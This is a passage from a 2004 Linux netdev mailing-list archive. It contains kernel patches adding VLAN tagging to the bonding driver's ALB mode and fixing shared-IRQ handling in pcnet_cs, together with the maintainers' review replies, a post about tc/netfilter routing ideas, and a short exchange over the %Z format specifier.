Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 19 Feb 2004 12:11:05 +0200 Shmuel Hen wrote: > Summary: > Enable intermediate network drivers like bonding to create an ARP > packet and modify it to their needs before sending it, while avoiding > code duplication. It does not affect any other place in the kernel > that uses arp_send. Applied. Thanks for following up on this Shmuel. From shmulik.hen@intel.com Thu Feb 19 10:18:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 10:18:33 -0800 (PST) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JIIQKO020996 for ; Thu, 19 Feb 2004 10:18:26 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by hermes.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i1JAE6iP023419; Thu, 19 Feb 2004 10:14:06 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i1JAILIG018025; Thu, 19 Feb 2004 10:18:21 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by fmsmsxvs043.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004021902161622918 ; Thu, 19 Feb 2004 02:16:18 -0800 From: Shmuel Hen Organization: Intel Corporation To: "David S. Miller" , "Jeff Garzik" Subject: [PATCH 3/3][bonding 2.4] Add VLAN support in ALB mode Date: Thu, 19 Feb 2004 12:16:14 +0200 User-Agent: KMail/1.5.3 Cc: "linux-netdev" , "bonding-devel" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402191216.15820.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3411 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Now, that 2.4.25 is out, I'm resending the enhancements for VLAN over bonding. Tested for patch application and compilation against latest netdev-2.4 BK tree (assuming the previous 3 patches are already applied). Summary: Add capability to tag self generated ARP packets that are required for receive load balancing in bonding. VLAN Id's are saved and used each time a new IP connection is established since 8021q currently supports IP binding. Update module version and comment blocks. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | diff -Nuarp a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c --- a/drivers/net/bonding/bond_alb.c Wed Jan 21 16:55:15 2004 +++ b/drivers/net/bonding/bond_alb.c Wed Jan 21 16:55:17 2004 @@ -34,6 +34,9 @@ * * 2003/12/30 - Amir Noam * - Fixed: Cannot remove and re-enslave the original active slave. + * + * 2004/01/14 - Shmulik Hen + * - Add capability to tag self generated packets in ALB/TLB modes. */ //#define BONDING_DEBUG 1 @@ -499,13 +502,33 @@ static void rlb_update_client(struct rlb } for (i = 0; i < RLB_ARP_BURST_SIZE; i++) { - arp_send(ARPOP_REPLY, ETH_P_ARP, - client_info->ip_dst, - client_info->slave->dev, - client_info->ip_src, - client_info->mac_dst, - client_info->slave->dev->dev_addr, - client_info->mac_dst); + struct sk_buff *skb; + + skb = arp_create(ARPOP_REPLY, ETH_P_ARP, + client_info->ip_dst, + client_info->slave->dev, + client_info->ip_src, + client_info->mac_dst, + client_info->slave->dev->dev_addr, + client_info->mac_dst); + if (!skb) { + printk(KERN_ERR DRV_NAME + ": Error: failed to create an ARP packet\n"); + continue; + } + + skb->dev = client_info->slave->dev; + + if (client_info->tag) { + skb = vlan_put_tag(skb, client_info->vlan_id); + if (!skb) { + printk(KERN_ERR DRV_NAME + ": Error: failed to insert VLAN tag\n"); + continue; + } + } + + arp_xmit(skb); } } @@ -604,9 +627,10 @@ static void rlb_req_update_subnet_client } /* Caller must hold both bond and ptr locks for read */ -struct slave *rlb_choose_channel(struct bonding *bond, struct arp_pkt *arp) +struct slave *rlb_choose_channel(struct sk_buff *skb, struct bonding *bond) { struct alb_bond_info *bond_info = &(BOND_ALB_INFO(bond)); + struct arp_pkt *arp = (struct arp_pkt *)skb->nh.raw; struct slave *assigned_slave; struct rlb_client_info *client_info; u32 hash_index = 0; @@ -662,6 +686,15 @@ struct slave *rlb_choose_channel(struct client_info->ntt = 0; } + if (!list_empty(&bond->vlan_list)) { + unsigned short vlan_id; + int res = vlan_get_tag(skb, &vlan_id); + if (!res) { + client_info->tag = 1; + client_info->vlan_id = vlan_id; + } + } + if (!client_info->assigned) { u32 prev_tbl_head = bond_info->rx_hashtbl_head; bond_info->rx_hashtbl_head = hash_index; @@ -692,7 +725,7 @@ static struct slave *rlb_arp_xmit(struct /* the arp must be sent on the selected * rx channel */ - tx_slave = rlb_choose_channel(bond, arp); + tx_slave = rlb_choose_channel(skb, bond); if (tx_slave) { memcpy(arp->mac_src,tx_slave->dev->dev_addr, ETH_ALEN); } @@ -703,7 +736,7 @@ static struct slave *rlb_arp_xmit(struct * When the arp reply is received the entry will be updated * with the correct unicast address of the client. */ - rlb_choose_channel(bond, arp); + rlb_choose_channel(skb, bond); /* The ARP relpy packets must be delayed so that * they can cancel out the influence of the ARP request. @@ -810,6 +843,40 @@ static void rlb_deinitialize(struct bond kfree(bond_info->rx_hashtbl); bond_info->rx_hashtbl = NULL; + bond_info->rx_hashtbl_head = RLB_NULL_INDEX; + + _unlock_rx_hashtbl(bond); +} + +static void rlb_clear_vlan(struct bonding *bond, unsigned short vlan_id) +{ + struct alb_bond_info *bond_info = &(BOND_ALB_INFO(bond)); + u32 curr_index; + + _lock_rx_hashtbl(bond); + + curr_index = bond_info->rx_hashtbl_head; + while (curr_index != RLB_NULL_INDEX) { + struct rlb_client_info *curr = &(bond_info->rx_hashtbl[curr_index]); + u32 next_index = bond_info->rx_hashtbl[curr_index].next; + u32 prev_index = bond_info->rx_hashtbl[curr_index].prev; + + if (curr->tag && (curr->vlan_id == vlan_id)) { + if (curr_index == bond_info->rx_hashtbl_head) { + bond_info->rx_hashtbl_head = next_index; + } + if (prev_index != RLB_NULL_INDEX) { + bond_info->rx_hashtbl[prev_index].next = next_index; + } + if (next_index != RLB_NULL_INDEX) { + bond_info->rx_hashtbl[next_index].prev = prev_index; + } + + rlb_init_table_entry(curr); + } + + curr_index = next_index; + } _unlock_rx_hashtbl(bond); } @@ -1617,5 +1684,9 @@ void bond_alb_clear_vlan(struct bonding (bond->alb_info.current_alb_vlan->vlan_id == vlan_id)) { bond->alb_info.current_alb_vlan = NULL; } + + if (bond->alb_info.rlb_enabled) { + rlb_clear_vlan(bond, vlan_id); + } } diff -Nuarp a/drivers/net/bonding/bond_alb.h b/drivers/net/bonding/bond_alb.h --- a/drivers/net/bonding/bond_alb.h Wed Jan 21 16:55:15 2004 +++ b/drivers/net/bonding/bond_alb.h Wed Jan 21 16:55:17 2004 @@ -77,6 +77,8 @@ struct rlb_client_info { u8 assigned; /* checking whether this entry is assigned */ u8 ntt; /* flag - need to transmit client info */ struct slave *slave; /* the slave assigned to this client */ + u8 tag; /* flag - need to tag skb */ + unsigned short vlan_id; /* VLAN tag associated with IP address */ }; struct tlb_slave_info { diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Wed Jan 21 16:55:15 2004 +++ b/drivers/net/bonding/bond_main.c Wed Jan 21 16:55:17 2004 @@ -455,12 +455,20 @@ * * 2003/12/30 - Amir Noam * - Fixed: Cannot remove and re-enslave the original active slave. - * - Fixed: Releasing the original active slave causes mac address duplication. + * - Fixed: Releasing the original active slave causes mac address + * duplication. * - Add support for slaves that use ethtool_ops. * Set version to 2.5.3. * * 2004/01/05 - Amir Noam * - Save bonding parameters per bond instead of using the global values. + * Set version to 2.5.4. + * + * 2004/01/14 - Shmulik Hen + * - Enhance VLAN support: + * * Add support for VLAN hardware acceleration capable slaves. + * * Add capability to tag self generated packets in ALB/TLB modes. + * Set version to 2.6.0. */ //#define BONDING_DEBUG 1 diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Wed Jan 21 16:55:15 2004 +++ b/drivers/net/bonding/bonding.h Wed Jan 21 16:55:17 2004 @@ -36,8 +36,8 @@ #include "bond_3ad.h" #include "bond_alb.h" -#define DRV_VERSION "2.5.4" -#define DRV_RELDATE "December 30, 2003" +#define DRV_VERSION "2.6.0" +#define DRV_RELDATE "January 14, 2004" #define DRV_NAME "bonding" #define DRV_DESCRIPTION "Ethernet Channel Bonding Driver" From davem@redhat.com Thu Feb 19 10:19:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 10:19:36 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JIJWKO021453 for ; Thu, 19 Feb 2004 10:19:33 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1JIJMb03106; Thu, 19 Feb 2004 13:19:22 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1JIJMi25935; Thu, 19 Feb 2004 13:19:22 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1JIJHkC001927; Thu, 19 Feb 2004 13:19:18 -0500 Date: Thu, 19 Feb 2004 10:19:20 -0800 From: "David S. Miller" To: Shmuel Hen Cc: jgarzik@pobox.com, netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: Re: [PATCH 2/2] [8021q 2.4] Use VLAN tag set functionality in 8021q module Message-Id: <20040219101920.1f9de10d.davem@redhat.com> In-Reply-To: <200402191213.51683.shmulik.hen@intel.com> References: <200402191213.51683.shmulik.hen@intel.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3412 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Both VLAN patches applied, thanks. From davem@redhat.com Thu Feb 19 10:21:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 10:21:10 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JIL6KO021899 for ; Thu, 19 Feb 2004 10:21:07 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1JIKQb03726; Thu, 19 Feb 2004 13:20:26 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1JIKQi26478; Thu, 19 Feb 2004 13:20:26 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1JIKMkC002591; Thu, 19 Feb 2004 13:20:23 -0500 Date: Thu, 19 Feb 2004 10:20:25 -0800 From: "David S. Miller" To: Shmuel Hen Cc: jgarzik@pobox.com, netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: Re: [PATCH 3/3][bonding 2.4] Add VLAN support in ALB mode Message-Id: <20040219102025.3d485145.davem@redhat.com> In-Reply-To: <200402191216.15820.shmulik.hen@intel.com> References: <200402191216.15820.shmulik.hen@intel.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3413 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 19 Feb 2004 12:16:14 +0200 Shmuel Hen wrote: > Now, that 2.4.25 is out, I'm resending the enhancements for VLAN over bonding. > Tested for patch application and compilation against latest netdev-2.4 BK tree > (assuming the previous 3 patches are already applied). Jeff, please ACK these three bonding patches and I'll toss them into my tree since the infrastructure diffs are necessary for this stuff. Thanks. From alex@pilosoft.com Thu Feb 19 10:25:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 10:25:50 -0800 (PST) Received: from paix.pilosoft.com (dsl-gw.pilosoft.com [69.31.90.1] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JIPkKO022387 for ; Thu, 19 Feb 2004 10:25:47 -0800 Received: from localhost (alex@localhost) by paix.pilosoft.com (8.11.6/8.11.6) with ESMTP id i1JI5BO23047 for ; Thu, 19 Feb 2004 13:05:11 -0500 Date: Thu, 19 Feb 2004 13:05:11 -0500 (EST) From: alex@pilosoft.com To: netdev@oss.sgi.com Subject: NF/tc/routing thoughts Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3414 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: alex@pilosoft.com Precedence: bulk X-list: netdev I've just completed an implementation of a interesting [to me :] tweak to linux routing using tc/netfilter - limiting certain destinations [by realm or nfmark] to certain amount of traffic and sending 'overflow' traffic to different next-hops [by adjusting route-cache]. This is much useful in a number of situations, such as if one has "paid-for" circuits (traffic-insensitive) and additionally circuits where one pays for the traffic. As an example, this allows me to saturate 100M link at 98Mbps average utilization with 0.1% max packet loss and 10ms max latency increase. This was implemented using Jamal's tc action, and tweaks to ipt_ROUTE and ipv4/route.c to clean route-cache on demand. Some thoughts that accumulated over time: a) My changes to ipt_ROUTE and route.c allow for "reroute" based on packet's current classification [nfmark, etc] (essentially, doing the ip_route_output decision for a second time based on current packet state). This is somewhat ugly, but necessary due to chicken-and-egg problem: To find proper next-hop (on a non-overloaded link), I need to find where the packet is about to go, and change it if that link is overloaded. Using tc alone does not suffice: tc on ingress is done prior to routing decision, tc on egress is done after routing decision. Ideally, I would like a hook into routing table to have a function called during fib/cache lookup to determine next-hop, but I think that may be more gross than what I've done. At any case, should I submit the patches for this, or these are too-specific-purpose and not interesting to others? b) tc filtering seems to have the same purpose as netfilter. Difference is, tc is better implemented [optimizations-wise], less documented, but has less features. * For example, I can't do not/and/or operations on a packet using tc classifiers [without additional qdiscs]. This doesn't seem to be very hard to fix, but I'm wondering if this is intentional. [I.E. is tc intended to be netfilter's faster, simpler little brother?] * Jamal's "tc action" is great - however, it is only implemented for u32 classifier. I added code for fw and route classifier to support this - but it just seems to me that this should be something generic, supported by all classifiers. Should it? ;) c) If HiPAC was integrated as just another tc classifier, it would provide all expressive power of netfilter in a tc rule, which would be quite useful - [current classifier list isn't good enough] d) Thinking further about routing: routing itself is just an instance of packet classification according to RPDB and routing table[s]. Current hash-based route-cache and zone-based fib are not appropriate for router handling internet traffic and DoS. [IOW, fn_hash_lookup takes forever on a router with 125k routes]. There are better trie-based algorithms for route lookups , and [IMVHO], once slow-path (ip_route_xxx_slow) is sufficiently fast, there will be no need for route-cache itself. The most interesting thing [to me, I am focused on attaining high pps rates with random traffic :] would be to apply hipac fast classification algorithms to the problem of ip routing [populate hipac classification tree with information from rpdb and routing table]. Is anyone interested in doing that? More importantly, would any scheme like that be considered for kernel inclusion? My own skills [and time available for coding] are very deficient to do the above, but I would be willing to sponsor someone who has interest in it. So, any takers? From jgarzik@pobox.com Thu Feb 19 10:28:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 10:28:13 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JIS9KO022736 for ; Thu, 19 Feb 2004 10:28:10 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39986 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Atsu8-0001uo-4A; Thu, 19 Feb 2004 18:28:08 +0000 Message-ID: <4035002C.3070509@pobox.com> Date: Thu, 19 Feb 2004 13:27:56 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: Shmuel Hen , netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: Re: [PATCH 3/3][bonding 2.4] Add VLAN support in ALB mode References: <200402191216.15820.shmulik.hen@intel.com> <20040219102025.3d485145.davem@redhat.com> In-Reply-To: <20040219102025.3d485145.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3415 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev David S. Miller wrote: > Jeff, please ACK these three bonding patches and I'll toss them into my tree > since the infrastructure diffs are necessary for this stuff. ACK, I reviewed and queued the 2.6 versions earlier. Jeff From jgarzik@pobox.com Thu Feb 19 10:29:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 10:29:08 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JIT4KO023069 for ; Thu, 19 Feb 2004 10:29:05 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39987 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Atsv2-0001vd-5v; Thu, 19 Feb 2004 18:29:04 +0000 Message-ID: <40350064.2020504@pobox.com> Date: Thu, 19 Feb 2004 13:28:52 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: Shmuel Hen , netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: Re: [PATCH 3/3][bonding 2.4] Add VLAN support in ALB mode References: <200402191216.15820.shmulik.hen@intel.com> <20040219102025.3d485145.davem@redhat.com> <4035002C.3070509@pobox.com> In-Reply-To: <4035002C.3070509@pobox.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3416 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Jeff Garzik wrote: > David S. Miller wrote: > >> Jeff, please ACK these three bonding patches and I'll toss them into >> my tree >> since the infrastructure diffs are necessary for this stuff. > > > > ACK, I reviewed and queued the 2.6 versions earlier. un-ACK. These patches also depend on bonding cleanup patches not yet in 2.4. Apply all but these 3, and I will take care of them. Jeff From shemminger@osdl.org Thu Feb 19 10:30:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 10:31:01 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JIUuKO023420 for ; Thu, 19 Feb 2004 10:30:57 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1JIUgE00637; Thu, 19 Feb 2004 10:30:42 -0800 Date: Thu, 19 Feb 2004 10:30:42 -0800 From: Stephen Hemminger To: Jeff Garzik Cc: Paul Gortmaker , netdev@oss.sgi.com Subject: Re: [PATCH 2.6.1] Allow pcnet_cs to work with shared irq Message-Id: <20040219103042.7ad1e4e1@dell_ss3.pdx.osdl.net> In-Reply-To: <403405EE.4020503@pobox.com> References: <20040120162251.291a0e39.shemminger@osdl.org> <403405EE.4020503@pobox.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3417 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Here is a rediff'd version of the patch to fix shared irq handling in pcnet_cs and generic 8390 drivers. --- linux-2.6/drivers/net/pcmcia/pcnet_cs.c 2004-02-09 10:06:49.000000000 -0800 +++ laptop-2.6/drivers/net/pcmcia/pcnet_cs.c 2004-02-09 16:54:48.000000000 -0800 @@ -1163,10 +1163,11 @@ static irqreturn_t ei_irq_wrapper(int ir { struct net_device *dev = dev_id; pcnet_dev_t *info = PRIV(dev); - info->stale = 0; - ei_interrupt(irq, dev_id, regs); - /* FIXME! Was it really ours? */ - return IRQ_HANDLED; + irqreturn_t ret = ei_interrupt(irq, dev_id, regs); + + if (ret == IRQ_HANDLED) + info->stale = 0; + return ret; } static void ei_watchdog(u_long arg) --- linux-2.6/drivers/net/8390.c 2004-02-09 10:06:49.000000000 -0800 +++ laptop-2.6/drivers/net/8390.c 2004-02-09 16:54:47.000000000 -0800 @@ -513,7 +513,7 @@ irqreturn_t ei_interrupt(int irq, void * } } spin_unlock(&ei_local->page_lock); - return IRQ_HANDLED; + return IRQ_RETVAL(nr_serviced > 0); } /** From davem@redhat.com Thu Feb 19 10:44:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 10:44:41 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JIiTKO023889 for ; Thu, 19 Feb 2004 10:44:29 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1JIiQb13619; Thu, 19 Feb 2004 13:44:26 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1JIiQi03272; Thu, 19 Feb 2004 13:44:26 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1JIiMkC014137; Thu, 19 Feb 2004 13:44:22 -0500 Date: Thu, 19 Feb 2004 10:44:25 -0800 From: "David S. Miller" To: Jeff Garzik Cc: shmulik.hen@intel.com, netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: Re: [PATCH 3/3][bonding 2.4] Add VLAN support in ALB mode Message-Id: <20040219104425.7d708bee.davem@redhat.com> In-Reply-To: <40350064.2020504@pobox.com> References: <200402191216.15820.shmulik.hen@intel.com> <20040219102025.3d485145.davem@redhat.com> <4035002C.3070509@pobox.com> <40350064.2020504@pobox.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3418 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 19 Feb 2004 13:28:52 -0500 Jeff Garzik wrote: > un-ACK. > > These patches also depend on bonding cleanup patches not yet in 2.4. > > Apply all but these 3, and I will take care of them. Ok, the be clear, I'll toss the ARP + 8021Q infrastructure patches to Marcelo and you'll take care of the rest. From dwmw2@infradead.org Thu Feb 19 10:50:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 10:50:26 -0800 (PST) Received: from baythorne.infradead.org (imladris.demon.co.uk [193.237.130.41]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JIoJKO024270 for ; Thu, 19 Feb 2004 10:50:21 -0800 Received: from localhost ([127.0.0.1]) by baythorne.infradead.org with esmtp (Exim 4.30 #5 (Red Hat Linux)) id 1AttFZ-0000W6-Fz; Thu, 19 Feb 2004 18:50:17 +0000 Subject: Re: [APPLETALK]: Use '%Z' for size_t. From: David Woodhouse To: "David S. Miller" Cc: netdev@oss.sgi.com In-Reply-To: <20040219100914.1a17e797.davem@redhat.com> References: <200402190209.i1J29KF2020707@hera.kernel.org> <1077204436.18703.412.camel@hades.cambridge.redhat.com> <20040219100914.1a17e797.davem@redhat.com> Content-Type: text/plain Message-Id: <1077216615.7832.3.camel@imladris.demon.co.uk> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-8.dwmw2.2) Date: Thu, 19 Feb 2004 18:50:15 +0000 Content-Transfer-Encoding: 7bit X-archive-position: 3419 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Thu, 2004-02-19 at 10:09 -0800, David S. Miller wrote: > As long as lib/vsprintf.c in the kernel supports it, there is no reason not > to use it. They're never going to remove recognition of this thing from > gcc printf's parsing. > > If it really bothers you, then go sick a kernel janitor onto it, because there > are thousands of uses of %Z, I know because I put most of them into the tree :-) Never's a long time.... the request was that you refrain from putting _new_ ones in. That's not so hard, now is it? -- dwmw2 From davem@redhat.com Thu Feb 19 11:04:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 11:04:08 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JJ45KO024767 for ; Thu, 19 Feb 2004 11:04:05 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1JJ41b22704; Thu, 19 Feb 2004 14:04:02 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1JJ41i12343; Thu, 19 Feb 2004 14:04:01 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1JJ3vkC026450; Thu, 19 Feb 2004 14:03:58 -0500 Date: Thu, 19 Feb 2004 11:04:00 -0800 From: "David S. Miller" To: David Woodhouse Cc: netdev@oss.sgi.com Subject: Re: [APPLETALK]: Use '%Z' for size_t. Message-Id: <20040219110400.75c7ff31.davem@redhat.com> In-Reply-To: <1077216615.7832.3.camel@imladris.demon.co.uk> References: <200402190209.i1J29KF2020707@hera.kernel.org> <1077204436.18703.412.camel@hades.cambridge.redhat.com> <20040219100914.1a17e797.davem@redhat.com> <1077216615.7832.3.camel@imladris.demon.co.uk> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3420 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 19 Feb 2004 18:50:15 +0000 David Woodhouse wrote: > the request was that you refrain from putting > _new_ ones in. That's not so hard, now is it? Sure, no problem. From shemminger@osdl.org Thu Feb 19 11:27:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 11:27:29 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP 